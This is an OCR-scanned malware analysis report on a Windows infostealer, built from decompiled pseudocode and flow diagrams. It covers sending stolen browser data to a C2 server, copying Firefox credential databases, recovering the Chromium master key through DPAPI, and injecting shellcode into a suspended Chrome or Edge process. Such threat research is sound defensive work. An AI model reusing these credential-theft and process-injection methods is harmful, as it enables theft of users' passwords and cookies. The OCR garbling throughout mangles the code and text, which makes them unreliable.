
[ s T N = Ry I R Yy % }
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1 vold _ fastcall fn_start_stealer(}

2 i

3 if ( !g5tealBrowserFlag )

4 {

5 fn_send_packet (2 curl{@LL, @, |START EXTRACT BROWSER_DATA,| SIGMAL PACKET EMPTY POST DATA);
[ fn_Browser_UserData();

7 if ( fn_zip_user_data_folder() )}

8 fn_send_zip_file to_C2();

g fn_cleanup_log file();

18 fn_send_packet_C2_curl(8LL, 8,| END_EXTRACT BROWSER_DATA,| SIGNAL PACKET EMPTY POST DATA);
11 3

12 fn_noop_function();

13 3}

3.3.7. Stealer

First the malware generate some paths Based on environment string

if { € Users_Username && C_Users_Username_AppData_Local Temp )
{
memset(Slash, @, sizeof(Slash));
fn_decrypt_rcd_wide_stream(Slash, SalmedOutAfterlLl[18], lu, ZalmedOutAfterLl[22], @x2lu);// ~
fn_build wide_string(
&C_User_UserName_bZsawmZvial@zhH4n,// C:\User\[Username ]\bZsaxmZvial BzhHdn
lJ
3J
&C_Users_Username,
5lash,
aThL1d0utOFL1dE) ;
memset(Slash_2, 8, sizeof(5lash_ 2)},
fn_decrypt_rcd_wide_stream(Slash_2, word_B3AD2, 1lu, &word_B3ADe6, @xlAu);. . /
fn_build wide_string(
&C_User_UserMame_tKyvEZBrnhNtrVhA_zip,/ ./ C:\User\[L
1.!
3J
&C_Uszers_Username,
5lash_2,
akllithLldBytesRe)
memset(Slash_3, @, sizeof(5lash_. 3)},
fn_decrypt_rcd wide_stream(Slash_3, aOrtedByPreRequ, 1lu, &aOrtedByPreRequ[4], @x2Cu); ./ /
fn_build wide_string(
&C_User_UserMame_bZsawxmZvial@zhHan_Username,/  C:\User\[
1.!
3.!
&C_User_UserName thamev1alehH4n, / C:\User\[Username ] \bZsaxmZvial 8zhHan
Slash_3,
EgUSERNAME_FullPath_ENV);
memset(Slash 5, @, sizeof(5lash 5)},
fn_decrypt_rcd_wide_stream(Slash_5, aGedCheckConnec, 1lu, &aGedCheckConnec[4], @x2Bu);. . »
fn_build wide_string(
&C_Users_USERNAME_AppData_Local_Temp_BlWTZSa_gAzdyTQEVged, / C:\Users|[User
lJ
3.!
&C_Users_Username_AppData_Local Temp, f C:\Users\[Username ] \AppData\Local \ Temp
Slash_5,
aRDoneCallback) ;
memset(Slash_&4, 8, sizeof(5lash_: 4)},
fn_decrypt_rcd4 wide_stream(Slash_£, aOne, lu, &aOne[4], @x1Cu);//
fn_build wide_string(
&C_User_UserName_bZsaxmZvial@zhHan_Username_jMT7f1YMTwe, ./ C:\User)[Ls
lJ
3J
&C_User_UserName_| thamev1alﬁzhH4n _Username,. s C:\L.
5lash_4, /
&unk_B3C56) ;

/EZBrnNtrivhA.
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PATH

C:\Users[Username]\bZsaxmZvial0zhH4n

C:\Users[Username\tKyvEZBrnNtrVhA.zip

C:\Users[Username]\bZsaxmZvial0zhH4n\[Username]
C:\Users[Username]\AppData\Local\Temp\B1WTZSa_qAz4yTQGVg6i
C:\Users[Username]\bZsaxmZvial0zhH4n\[Username \jMT7f1YMTwe

C:\Users[Username]\AppData\Local\Temp\logs.txt

3.3.7.1. Browser's data stealer

Target browser: Firefox, Opera, Edge, Chrome

fn_decrypt_rcd4 wide_stream{OperalLoginPath, &aScagy@8agb5cn[12], @x2Bu, byte B1B7C, 6x2Cu);
memset (OperaBinaryString, @, @xldu);

fn_decrypt_rcd4 wide_stream(OperaBinary5tring, aHkggn8, %u, aPnof9d, @x2Cu);
memset(ChromeString, @, sizeof({ChromeString));

fn_decrypt_rcd4 wide_stream{ChromeString, a9et3, 6u, &word_B1C52, @x1S%u);

memset (ChromeLoginPath, @, @x4Cu);

fn_decrypt_rc4 wide_stream{ChromeLoginPath, ZaBb5@amgl8ktafk[25], @x25u, &algcncbvkzbvsw3[11], @x28u);

memset (ChromeBinaryPath, 8, @xeCu);

fn_decrypt_rcd4 wide_stream{ChromeBinaryPath, afzautkyfrmxhsz, @x35u, altzacausEldvda, @x1Cu);
memset (EdgeString, @, sizeof(EdgeString));

fn_decrypt_rcd wide_stream{EdgeString, £aln[1], 4u, aPuvspjrygvchde, @8x23u};

memset (EdgeloginPath, @, @wdEu);

fn_decrypt_rc4 wide_stream{EdgelLoginPath, aYcroiz@3wtvgtk, 8x26u, ZalvgSivnvkwenmg[3], @x22u);
memset (EdgeBinaryPath, 8, @x74u);

fn_decrypt_rcd4 wide_stream(EdgeBinaryPath, aZyvzlhcgaeldz, @x3Cu, Zword_B1F2E, @x15u};
BrowserStearInfo[@].BrowserNameString = OperaString;
BrowserStearInfo[@].BrowserLoginFolderPath = OperaloginPath;
BrowserStearInfo[@].BrowserBinaryPath = OperaBinaryString;
BrowserStearInfo[l].BrowserNameString = ChromeString;
BrowserStearInfo[l].BrowserLoginFolderPath = ChromeLoginPath;
BrowserStearInfo[l].BrowserBinaryPath = ChromeBinaryPath;
BrowserStearInfo[2].BrowserNameString = EdgeString;
BrowserStearInfo[2].BrowserLoginFolderPath = EdgeloginPath;
BrowserStearInfo[2].BrowserBinaryPath = EdgeBinaryPath

3.3.7.1.1. Firefox

Purpose
Root directory for stolen data

Zip file name for stolen data

archive

Root directory for logging files
Batch script for self removal
Error log file

Log file for all action

Firefox: The malware discover every Firefox user profile and preparing each profile for credential extraction.

Locate Firefox Profiles directory

|
v

Create malware Firefox staging folder

|
v
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Enumerate every Firefox profile

|
v

For each profile

|

—— Copy logins.json
—— Copy key3.db

—— Copy key4.db

—— Copy cookies.sqlite
|

v

Encrypt every copied file with RC4

|
v

Proceed to next profile

It first resolves the victim's Firefox profile directory under %APPDATA% .

Creates a corresponding destination directory within the malware's working folder.

Enumerates all valid Firefox profile directories while skipping the special and entries.

For each discovered profile, it invokes sqlite database stealer to collect credential-related artifacts—
including logins.json , key3.db , key4.db ,and cookies.sqlite by copying them into the staging

directory and encrypting the copied data with the malware's RC4 routine.

After each profile is processed, the function restores its reusable path buffers before continuing to the next
profile, enabling the malware to systematically harvest credentials and authentication data from all Firefox

profiles present on the system.
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MW_SIGMAL_CODE fn_try_extract_firefox_credential()

{

ECLARATIONS. PRESS NUMPAD "+™ TO EXPAND]

r
.
=
[=]

Result = @;
memset (FireFoxProfileString, 8, @x54u);

fn_decrypt_rcd wide_stream(FireFoxProfileString, adtpd@ukgiSphSv, @x29u, &word B1916, 8x26u);// /AppDato/Roaming/’

LLay

fn_build wide_string(

C_Users_USERMAME_AppData_Roaming Mozilla Firefox_Profiles,

1,

2, Resolve the Firefox profile directory
&C_Users_Username,

FireFoxProfileString);

Firefox/Profiles

FireFoxProfileExist = fn_Is_file_exist({C_Users_USERNAME_AppData_Roaming_Mozilla_Firefox_Profiles);
if ( FireFoxProfileExist )

{

memset(FirefoxString, @, @x12u);

fn_decrypt_rc4_wide_stream{Firefox5tring, &byte B1986, 8u, &unk_B1998, @x19u);// /Firefox

fn_build wide_string(
C_User_UserMame_bZsaxmZvialezhHan_Username_Firefox,
1,
2,
&C_User_UserMame_bZsaxmZvial@zhH4n_Username,
FirefoxString);

Result = fn_ensure_directory_tree_exists{C_User_UserName_bZsaxmZvial®zhH4n_Username_Firefox);

Create the malware's Firefox working directory

if ( Result < @ )

{
return fin_write log(
ERRCR_FOLDER_DOES_MNOT_EXIST,
ERROR_FIREFOX_LOG_FOLDER_DOES_MOT_EXIST,
ERROR_EXECUTION_FAILED,
ZResult);
H
else
{ Open the Firefox Profiles directory

fn_write log{FOLDER EXIST, FIREFOX FOLDER, EXECUTION SUCCESSED, @LL);
IResult = fn_open_file and_initialize context{&FileCix, C_Users_USERNAME_AppData_Roaming Mozilla_Firefox_Profiles); I
if { Result < @ )
{
return fn_write_log(
ERROR_FOLDER_DOES_NOT_EXIST,
ERROR_FIREFOX_USERPROFILE_DOES_NOT_EXIST,
ERROR_EXECUTION_FAILED,

ZResult);
H q B
e Enumerate every Firefox profile
{]
while ( fn_guery_folder_info(&FileCtx) )
%
if ( (FileCtx.AllocatedAddress->FileAttributes & FILE_ATTRIBUTE_DIRECTORY) != 8 )
{

Userprofile FireFoxProfileString = fn_copy_buffer wide(
FileCtx.AllocatedAddress- »FileMame,
FileCtx.AllocatedAddress- »FileNamelength);

memset(dot, &, sizeof{dot});
fn_decrypt_rc4_wide_stream(dot, Zunk_B19CC, lu, Zunk_B19D8, @8x15u);// .
memset (&FileCtx.InitialPath + 2, &, 6u);
fn_decrypt_rc4 wide_stream(&FileCtx.InitialPath + 2, &Zdword_B19FC, 2u, &byte B1AB2, @x17u);// ..
if { !fn_wcscmp_len(Userprofile FireFoxProfileString, dot)
&% 'fn_wcscomp len(Userprofile_FireFoxProfileString, &FileCtx.InitialPath + 1) )/ igrmore . and ..
{
memset(Slash, @, sizeof(5lash)):
+n_decrypt_rcd_wide stream(Slash, word_B1lA32, lu, &byte B1A36, @x2Bu);./  /
fn_build wide_string(
C_Users_USERNAME_AppData_Roaming_Mozilla_Firefox_Profiles,
a,
2,
5lash,
Userprofile FireFoxProfileString);
memset(5lash_3, 8, sizeof(5lash_3));
fn_decrypt_rcd_wide_stream(Slash_3, byte B1A88, 1lu, aOt9saikvcewti, @x1Cu);.//
fn_build wide string(
C_User_UserName_bZsaxmZvial@zhH4n Username Firefox,// C User UserName bZsaxmZu
a,
2,
Slash_3,
Userprofile FireFoxProfileString);
Result = fn_ensure_directory_exists(C_User UserName_bZsaxmZvial@zhH4n_Username_Firefox);

7 (mtE 3= 0 ) Create the destination profile directory

Append the profile name

iglBzhHin Username_Firefox Userprofile

/ This function targets Firefox credential-reloted dotobases
by decrypting the filenomes Logins.json, key3.db, keyd.db,
agnd cookies.sglite. For each File, it constructs the source
/ path within the victim's Firefox
/ destination path, checks whether the

e and the corresponding
Le exists, and copies
ng it with an RC4 key.

it to the destination while enc ir
/ After each file is processed, it restores the original
/ buffers before continuing with the next file. The routine is

¢ dntendad +n rallert Firefnv authentdicatinn dofnhe

s
£
ey
£
/i
/i
s
s
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C_Users_USERMAME_AppData_Roaming_Mozilla_Firefox_Profiles,
C_User_UserName_bZsaxmZvizl@zhH4n_Username_Firefox);

else

fn_write log( Extract Firefox databases

ERROR_FOLDER_DOES_NOT_EXIST,
ERROR_FIREFOX_STEALER_PROFILE_FOLDER_DOES_NOT_EXIST,
ERROR_EXECUTION_FAILED,
&Result);

Userprofile FireFoxProfileString length = strlen @{Userprofile FireFoxProfileStrin,

fn_truncate_wide_string_buffer(
C_Users_USERMAME_AppData_Roaming_Mozilla_Firefox_Profiles,
Userprofile FireFoxProfileString_Length + 1};
Userprofile FireFoxProfileString Length_ = strlen_@{Userprofile_FireFoxProfileString);
fn_truncate_wide_string buffer(
C_User_Userhame_bZsaxmZvial@zhHin_Username_Firefox,
Userprofile FireFoxProfileString Length_ + 1);
¥
fn_strlen_wide(Userprofile_FireFoxProfileString);
H
} Cleanup

¥

fn_cleanup_buffer_ struct(&FileCtx);
recarn 3LC;

return FireFoxProfileExist;
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void _ fastcall fn_steal firefox_sqlite db{

i
me

wchar_t *Userprofile FireFoxProfile,
wchar_t *UserProfile_bZsaxmZvial@zhH4n_Username_Firefox)

= BLL;
mset(logins json, @, @x18ul;

n
me
n
me
fn
me
n

_decrypt_rcd_wide_stream(logins_json, &word B16CE, @xBu, &word B16E6, @x24u);/  Logins.json
mset(key3 db, @, sizeof(key3 db)});

_decrypt_rcd wide_stream(key3 db, aMfeZiso2altn@y, 7u, ZaMfeZiszoZaltnd@y[8], @x17u);.// key3.db
mset(keyd db, @, sizeof(keyd db));

_decrypt_rc4_wide_stream(key4 db, gword_B1778, 7u, aGirrcfzbtwimej, @x24u);// keyd.db
mset(cookies_sglite, @, @xlEu);

decrypt_rcd wide stream(cookies sglite, &byte B17CA, @xEu, alglf, @xl6u);// cookies.sglite

Mo
Mo
Mo
Mo
do

r

zillaCredentialStruct.logins_json = logins_json;
zillaCredentialStruct.key3_db = key3_db;
rillaCredentialStruct.keyd _db = keyd db;
zillaCredentialStruct.cookies_sglite = cookies sqlite;

memset(slash, @, sizeof(slash));

fn_decrypt_rcd_wide_stream(slash, &byte B1816, 1lu, word_B181A, @x28u);/

CredentialEntry = *(&MozillaCredentialStruct.logins_json + i);
fn_build_wide_string(Userprofile_FireFoxProfile, @, 2, slash, CredentialEntry)};

memset(Slash, @, sizeof(Slash));

fn_decrypt_rcd_wide stream(5lash, akcuvgf7y2gosor, lu, ZaKcuvgf7y2gogor[2], @x26u);.//

fn_build wide string(UserProfile bZsaxmZvial@zhH4n Username Firefox, @, 2, 5lash, CredentislEntry);

if ( fn_Is_file_exist{Userprofile_FireFoxProfile} )
{

kernel32_5leep(353LL);

RcdkKeySize = fn_strlen_byte{byte BEDSA);

Result = fn_move file encrypt_rc4(
Userprofile_FireFoxProfile,
UserProfile_bZsaxmivial@zhHdn_Username_Firefox,
byte BBDSA,

Rcakeysize);

¥

h

1T | kesult b}
fn_write_ log(ERROR_FIREFOX_DB, ERROR_FATILED_TO ENCRYPT_RC4, 1, &Result);

T
fn_write log(FIREFOX_DB, FIREFOX_PROFILE_EXIST, 1, @LL);
kernel32_Sleep(G20LL);
CredentialEntrylength = strlen_@({CredentialEntry);
fn_truncate_wide_ string buffer(Userprofile_FireFoxProfile, CredentialEntryLength + 1);
CredentialEntrylLength_ = strlen_@(CredentialEntry);

fn_truncate_wide_string buffer(UserProfile bZsaxmZvial®zhH4n_Username_Firefox, CredentialEntrylength_ + 1);

++1;

while ( i !=4 );

3.3.7.1.2. Chrome, Edge and Opera

The Chromium-base credential theft routine is divided into multiple stages that collectively recover the browser's
AES master key and prepare profile-specific information for extracting encrypted browser credentials. Rather than
immediately reading the browser databases, the malware first processes the Local State configuration file to obtain
the DPAPI-protected master key and enumerate the available browser profiles. The recovered information is then

passed to a second-stage payload that executes within a suspended browser process to decrypt browser secrets.

Workflow:

fn_extract_browser_cookie()
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\/
Locate and copy Local State
|
v
RC4 encrypt copied Local State
|
v
Read Local State
|
v
Decrypt RC4 copy back into memory
|
v
Extract:
- encrypted_key
« app_bound_encrypted_key
« profiles_order
|
v
Recover DPAPI master key
(CryptUnprotectData)
|
v
Save RC4-encrypted Key10.txt
|
\/
Launch suspended browser
|
v
Inject second-stage payload
|
\/

Second stage decrypts browser databases

The credential theft process begins, which targets the browser's Local State configuration file.
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inted _ fastcall fn_extract_browser_cookie( BROWSER_EXEC_CONTEXT *Browser{tx)

ReturnCode = 8;
memset(LocalstateString 2, @, 8xlAu);
fn_decrypt_rcd4 wide_stream(LocalStateString 2, aTcy, @xCu, Zword_ Bl4CE, @xlAu);
fn_build wide string(BrowserLocal5tatePath, 1, 2, BrowserCtx->BrowserLoginFolderPath, LocalStateString 2);
memset(LocalStateString, @, @xlau);
fn_decrypt_rcd wide_stream(LocalStateString, &unk_B1584, @xCu, &unk_B151E, @x22u);
fn_build wide string({BrowserlLocalStatePath_2, 1, 2, Browser(Ctx-:MalwarelLogFolder, LocalStateString);
if ( fn_Is_file_exist(EBrowserLocalStatePath) )
w2 = fn_strlen_byte{byte_ BBDSA);
ReturnCode = fn_move_file encrypt_rcd(BrowserlLocalStatePath, BrowserLocalStatePath_2, byte BeD3A, vi);
if ( ReturnCode < @ )
fn_write_ log{ERROR_FUMCTIOM FAILED, ERROR_FAILED TO ENCRYPT RC4, 1, &ReturnCode);
return @LL;
Iy
kernel32_Sleep{157LL);
BrowserLocalStateData_2 = @LL;
BrowserLocalStateSize 2 = @;
ReturnCode = fn_resolve path_and_read_file(
BrowserLocalStatePath_2,
&BrowserLocalStateData_2,
&BrowserLocalsStateSize_2);

Then the configuration file was copied into the malware's staging directory while simultaneously encrypting the

copied file with the malware's embedded RC4 key.

This serves two purposes:

e Preserving a copy of the victim's configuration for exfiltration,

o Preventing the staged data from being stored in plaintext.

After obtaining the plaintext JSON, the malware extracts several configuration values using RC4-decrypted

regular expressions.

After extraction, the malware:

e Copies the matched string,

¢ Base64-decodes it,

Stores the decoded result inside the browser execution context.
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vold _ fastcall fn_extract_encrypted_key cookie(
_BROWSER_EXEC_CONTEXT *BrowserCtx,
__intéd BrowserlocalStateData,

int BrowserLocalStateSize)

i = BLL;

memset (EncKeyBuf, 8, sizeof(EncKeyBuf));
16 fn_RC4_custom_sbox{EncKeyBuf, &afirkdjybwxspda[21], 31lu, &afirkdjy6wxspda[37], @x2@u); s encrypted kep”|\s*: | \=*" ("]
11 memset (AppBoundBuf, @, Bx28u);
12 fn_RC4_custom_sbox({AppBoundBuf, &byte_B145B, 8x2%u, &aPxbsxfsnaiksoe[18] + 1, 8w2Du);// ap) 5
13 CookieArray[@] = EncKeyBuf;
14 Cookiefrray[1] = AppBoundBuf;
15 ExtractedFlag = 1;
16 do
17 {
18 if ( fn_parse_regex_pattern(Cookiefrray[i], BrowserlocalStateData, BrowserlocalStateSize, SRepexOutput, 1, @) == @
19 & RegexOutput )
28 {
21 AllocatedRegexData = fn_copy_buffer_byte(RegexOutput, RegexSize);
22 if ( AllocatedRegexData )
23 i
24 DecodedDataSize = @;
25 DecodedData = fn_decode_basefsd custom{AllocatedRegexData, &DecodedDataSize);
26 fn_strlen_byte 2(AllocatedRegexData);
27 if ( DecodedData )
28 1
29 if ( (ExtractedFlag & 1) != @ )
38 {
31 Erowser{ix-»DPAPIELloh = DecodedData; Retai d f lat -
32 Browser{tx- »*DPAPIElobSize = DecodedDataSize; e€talne or later processing
33
34 TI=T
35 {
36 *&Browser(tx->ProfileCount = DecodedData + 4;
37 LODWORD {BrowserCtx->Profilelist.PofileEntry) = DecodedDataSize - 4;
38 1
39 ¥

The malware also extracts the profiles_order entry from the Local State file.

Unlike browser cookies, profiles_order is an internal Chrome preference stored as a JSON array:

"profiles_order":

[
"Default"”,
"Profile 1",
"Profile 2"
1

The malware parses this array and converts it into an internal list of profile names.
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1 MW_SIGMAL_CODE _ fastcall fn_extract_profiles_order_cookie(
2 _BROWSER_EXEC_CONTEXT *EBrowserCtx,

3 __int64d BrowserlLocalStateData_2,

4 unsigned int BrowserlLocalStateSize 2)

5 {

[

7

8 memset(RegexExp, @, @xZ2Zu);

9

16

11

12

13

14

15

16

17

18

19

28

21

22

23

24 fn_RCA_custom_sbox(RegexExp, Input, @x2lu, byte B13BA, 43u);
25 result = fn_parse_regex_pattern{RegexExp, BrowserlLocalStateData_2, BrowserlocalStateSize_ 2, &0utput, 1, @);
26 if ( (result & 9x30000008) == BLL )

27 {

28 AllocSize = AllocationSize;

29 if { AllocationSize »= 3ull )

38 {

31 AllocatedData = NtAllocateVirtualMemory(@xFFFFFFFFFFFFFFFFLL, AllocationSize);
32 if { AllocatedData )

33 {

34 memcpy (AllocatedData, Output, AllocSize - 1);
35 Size = 1;

35 idx = BLL;

37 do

38 {

39 j=a;

48 MextlLine = AllocetedData[didx] == *,";

41 ptr = AllocatedData[idx];

42 if { ptr == """ || ptr = *," }

43 AllocatedData[idx] = @;

a4 LOBYTE(j) = NextLine;

45 Size += J;

a6 ++idu;

47 T

43 while ( idx !'= AllocSize );

After parsing Local State, execution continues in:

e The function verifies that the decoded master key begins with the expected Chromium prefix: DPAPI
(Chromium stores the encrypted master key as: DPAPI || EncryptedBlob)

o Removes the first five bytes before constructing a DATA_BLOB for the Windows DPAPI API

e Invokes: CryptUnprotectData , which decrypts the master key using the current user's Windows

credentials. This produces the plaintext AES master key used by Chromium to encrypt:
o Saved passwords
o Cookies

o Payment information
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o Other browser secrets

¢ Instead of leaving the key in plaintext, the malware immediately encrypts it with its own RC4 key and

stores it as: Key10.txt its browser working directory.

1 __ inte4 _ fastcall fn_try_pget DPAPI{_ BROWSER_EXEC COMNTEXT *BrowserCtx)

2 i

3 [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD "+ TO EXPAND]

4

5 Result = B;

6 fn_write_log(INFO_ENTER_TRY_GET_DPAPI, INITIAL DPAPT, LOGGING, @LL);

7 if ( BrowserCtx->DPAPIBlob5Size »= 5 && BrowserCix-»>DPAPIBlob )

8 {

9 sizeof DPAPI = fn_strlen_byte(byte B373F); /. DPAFI
18 if ( fn_memcmp_bytes(BrowserCtx-»>DPAPIElob, byte_B373F, sizeof DPAPI) )
11 {
12 memset(Keyld txt, @, Bxléu);
13 fn_decrypt_rcd_wide_stream(Keyl®_txt, 2unk_B3746, @xfu, aDToMultiMidURu, &qword 28 + 5);.// /Keyld. txt
14 fn_build_wide_string(BrowserCtx->MalwarelogFolder, 8, 1, Keyl® txt);
15 pDataln.pbData = BrowserCix->DPAPIBlob + 5;
16 pDataln.cbData = BrowserCtx-:>DPAPIBlob5size - 5;
17 if ( CryptUnprotectData(&pDataln, ©LL, @LL, @LL, @LL, @, &DataBlob) )
18 {
19 kernel32_Sleep(267LL); Decrypt masterkey, store it in Keyl@®.txt
s} w4 = fn_strlen_byte(byte BODSA);
21 fn_encrypt_RC4({DataBlob.pbData, DataBlob.cbData, byte BaDsA, v4);
22 fn_write log(@x83480F13, @x164E4B41, INFO, 8LL);
3 Result = fn_write data to file(BrowserCix-»MalwareLogFolder, DateBlob.pbData, DataBlob.cbData, @);
24 if ( Result < @ )
25 fn_write_log(ERROR_TRY_GET_DPAPI, ERROR_WRITE_DATA_TO_FILE, 1, ZResult);
28 kernel32_LocalFree(DataBlob.pbData);
27 1
28 else
29 {
38 fn_write log(ERROR_TRY_GET_DPAPI, ERROR_API_CRYPTUNPROTECTDATA, 1, OLL);
3n 3
32 memset(Keyld, @, @xléu);
33 fn_decrypt_rcd4 wide stream(Keyl@®, &byte B37E@, @wAu, Sword B3I7FF6, @xlCu):// /Keyid. txt
34 Keyl@Length = strlen_8{Keyl@);
35 fn_truncate_wide_string_buffer(Browser{tx->MalwareLogFolder, Keyl@Length);
36 3
37 gelse
38 f
39 fn_write_log{ERROR_TRY_GET DPAPI, ERROR_MEMCMP, INFO, @LL);
48 T
41 fn_cleaup_buffer_write file(@xFFFFFFFFFFFFFFFFLL, &Browser(tx->DPAPIBlob, BrowserCtx->DPAPIBlobSize);
42 return 267LL;
43 T
42 else
45 {
a6 fn_urite_log(ERROR_TRY_GET_DPAPI, 2889512872, 1, 8LL);
47 return fn_set_rng_seed_to_12345(&%loc_21D23 + 3, &loc_887BE + 3, &loc_28384 + 2);
48 1
49 3

Rather than directly decrypting browser secrets, it launches a legitimate browser process, injects a custom
shellcode into it, and allows the injected code to execute under the browser's security context to recover DPAPI-

protected data that cannot be accessed directly.

Flow:

Attempt normal DPAPI recovery
|
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\ 4
Is browser Chrome or Edge?

|
—— No

| |
| v
| Return
|
v

Create suspended browser process
|
v

Decrypt embedded shellcode

|
v

Allocate memory inside browser

|
v

Copy shellcode

|
v
Copy BrowserCtx

|
v

Copy profile list

|
v
Change protection to RWX

|
v
Create remote thread

|
v
Injected shellcode executes

|
v

Read returned data

|
v

Store exit status

|
v
Cleanup

1. Browser Selection The malware first resolves the browser name.

It decrypts two embedded strings:
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"Chrome" "Edge"

And compares them against the current browser context.

1 _ inted _ fastcall fn_recover_data_with_DPAPI_blob{_ BROWSER_EXEC_CONTEXT *BrowserCtx}

2 1

3 _WORD EdgeString[5]; ~»

4 _WORD ChromeString[19]; // [rsr

5

[ fn_try_get DPAPL{BrowserCtx);

7 memset(ChromeString, 8, @xEu);

8 fn_decrypt_rcd_wide_stream(ChromeString, aMultiplexD, 6u, &word_B383E, @x2Du);. s Chrome

g memset(Edgestring, @, sizeof(EdpeString));

18 fn_decrypt_rcd_wide_stream(EdgeString, aMovedFromMulti, 4u, &aMovedFromMulti[18], e@w2Cu);/ s/ Fdge
11 if { fn_wcscmp_ret_1(BrowserCtx, ChromeString) || fn_wcscmp_ret_1(BrowserCtx, EdgeString) )
12 fn_create_proc_inject browser get DPAPI(BrowserCtx);
13 return 1LL;
14 1

1. Create Suspended Browser Process The malware launches the browser executable using:

1 NTSTATUS _ fastcall fn_create proc_inject_browser_get DPAPI{_BROWSER_EXEC CONTEXT *Browser(tx)
3 ;

3 / [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD "+" TO EXPAND]

4

5 NtStatus = 8;

[ fn_write log(@xFF74F8BA, Gx18DSCATE, LOGGING, MULL);

7 if { !LODWORD(BrowserCtx->Profilelist.PofileEntry) || !*&BrowserCtx->ProfileCount )
3 return fn_write log({ERROR_INVALID DATA, IMVALID BROWSER_PROFILE, LOGGING, @LL};
g memset (&5tartupInfo, @, sizeof(StartupInfo));

18 StartupInfo.ch = 184;

11 memset(&hProcess, 8, sizeof(hProcess));

12 ThreadHandle = @LL;

13 AllocatedShellcode = BLL;

14 memset (BrowserPath, @, @x208u);

15 BrowserLength = strlen_@(BrowserCtx-»Path);

16 memcpy ( BrowserPath, BrowserCtx-»Path, 2 * BrowserLength);

17

13 // Cregte the browser process in suspended mode

19 hResult = CreateProcessW(NULL, BrowserPath, ©LL, @LL, @, CREATE_SUSPENDED, @LL, @LL, &StartupInfo, &hProcess);
20 if ( !'hProcess.hProcess || !'hResult )

7 T

22 fn_write log(ERROR_INVALID DATA, INVALID PROCESS HAMDLE VALUE, LOGGING, NULL);

1. Decrypt Embedded Shellcode

if { !gInjectedShellcode )

{
KeySize = fn_strlen_byte(&gShellcodeKey); /2 _MoJfnDcm

fn_RC4({gShellcode, @x2BEGOu, &pShellcodeKey, KeySize);
gInjectedshellcode = 1;

h

[= T T - SR Y % Ry

1. Allocate Remote Memory

The malware computes the total allocation size: Shellcode + BrowserCtx + Profile List
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memcpy { &BrowserCtxBuffer, BrowserCtx, @x1Eu);
memcpy{MalwarelogFolder, BrowserCtx-:»MalwarelogFolder, @x288u);
ProfileEntry = BrowserCtx-»Profilelist.PofileEntry;
ProfileNamelist = BrowserCtx-»Profilelist.ProfileNamelist;

ShellcodeSize = ProfileEntry + 8x20838; /4 sizeof(shellcode) + sizeof(BrowserContex

AllocatedShellcode NtAllncateUlrtualMemnry(hProcess hProcess, ProfileEntry + @x2C838);
if { AllocatedShellcode )

/ Allocate memory in sus “‘PGJG Process

1. Write Shellcode + execution context

ite the shellcode to target suspended process
€ The sNeLlcode To Target SUsSpencGea process

NtStatus = NtWriteVirtualMemory{(hProcess.hProcess, AllocatedShellcode, gShellcode, @x2BE@Bu);

if  MtStatus < @ )
{
ReturnCode = FAILED_INJECT_WRITE_MEMORY ;
¥
else

{

e —— - T = and ~F the allocated ohel i Az
~ite the browser context at the end of the allocated shellcode

NtStatus NtWriteVirtualMemory(hProcess.hProcess, (AllocatedShellcode + @x2BE@@), &BrowserCtxBuffer, @x238u);

if { MtStatus < @ )

{
fn_write_log(ERROR_INVALID DATA, FAILED_INJECT_WRITE_MEMORY, INFO, &NtStatus);
fn_write_log(ABORTING_INJECTION, INJECT_SHELLCODE_BROWSER_CTX, INFO, 8LL):
goto LB_CLEANUP_EXIT:

H

Write the browser's profile c
NtStatus NtWriteVirtualMemory(
hProcess.hProcess,
(AllocatedShellcode + @x2CB3@),
*&BrowserCtx- *ProfileCount,
ProfileEntry);
if ( NtStatus < @ )

1. Make Memory Executable + locate shellcode EntryPoint + create remote thread

if { !NtProtectVirtualMemory @{hProcess.hProcess, AllocatedShellcode, @x2BE@Bu, PAGE_EXECUTE_READWRITE)

i

H

Mt5tatus = ERR_PROTECTIOMN_CANNOT_CHAMGE_PAGE_EXECUTE_READWRITE;
goto LB_CLEANUP_EXIT;

MtStatus = NtFlushInstructionCache(-1LL, @LL, @LL};
if { MtStatus < @ )

fn_write_log(ERROR_INVALID DATA, ERR_FLUSH_CACHE, LOGGING, &NtStatus);

kernel32_Sleep(4178LL);
ShellcodeEntry = fn_get_export_rva_by_hash{gShellcodes, SHELLCODE_ENTRY _ADDRESS) ;

NtStatus NttreateThreadEx{

4 a + ad gt taro Aerd
Cregte he threda It L“F et “Sn:r“: process

Lt €55

-» this will r

]
I
m
b
i
=
(=]

FOCESS

&ThreadHandle,
@x1FFFFFu,

aLL,
hProcess.hProcess,
(AllocatedShellcode + ShellcodeEntry),
AllocatedShellcode,
B!

B!

B!

Bl

aLL);

if { WtStatus »= @ && ThreadHandle }

{

WaLT

Mtstatus = NtWaitForSingleObject(ThreadHandle, @, 8LL);

the execution thread to finish.
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1. Read Returned Data After the injected shellcode completes, the malware reads back 88 bytes from the
beginning of the shared allocation:

1 memset{Buffer, @, sizeof(Buffer));

2

3 " Regd the first 88 bytes of the shellcode, this will be our DPAPT master key

4 Nt5tatu5 NtReadVirtualMemory{hProcess.hProcess, Allocatedshellcode, Buffer, 83LL);

5 if { NtStatus < @ )

6 {

7 fn_write_log(ERROR_INVALID DATA, ERROR_UMAELE READ REMOTE_MEMORY, LOGGING, &NtStatus);
8 1

Same manual loader routine:

++(tx->PayloadStage atBwdc;
fn_map_pe_sections(al, a2, memory, Cix);
++(tx->PayloadStage atBxdc;
fn_resolve_import_table(al, a2, memory, Cix, w12, w1l);
++(tx->PayloadStage atBxdc;
fn_apply_base_relocations{al, a2, memory, Ctx);
++Ctx->Payloadstage _atOwdc:
D11Main = (Ctx->D11MainEntryPoint_Bx8F834 + Ctx-*Allocatedfddresssize);
v5 = sub_4F48(al, a2, @LL, -1LL};
if (w3 <8 )
i
Ctx->ErrorCode Bxdd = J27970187;
Ctu-»ExecutionResult_8xd4s8 = v5;
H
++(tx->PayloadStage atBxdc;
D11Main{al, a2, 1LL, Ctx-»AllocatedAddressSize, BLL);
++(tx->PayloadStage atBxdc;

The injected shellcode use the same obfuscation method as its parent
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1 4 Local varigble allocation has failed, the output may be wrong!
2 __inte4 _ fastcall fn_entry(__inted 31, _ inte4 22, int a3, __inted4 a4, _ intkd a5)
3 i
4 A4 TCOLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD "+" TO EXPAND]
5
6 vead = ab;
7 ved = ai;
8 ve7 = ad;
] vebe = 8;
18 ve5 = vh;
1 Fn_TRASH 1();
12 ved = fn_resolve_syscall_table(al, a2, &veS + 1, &vE6);
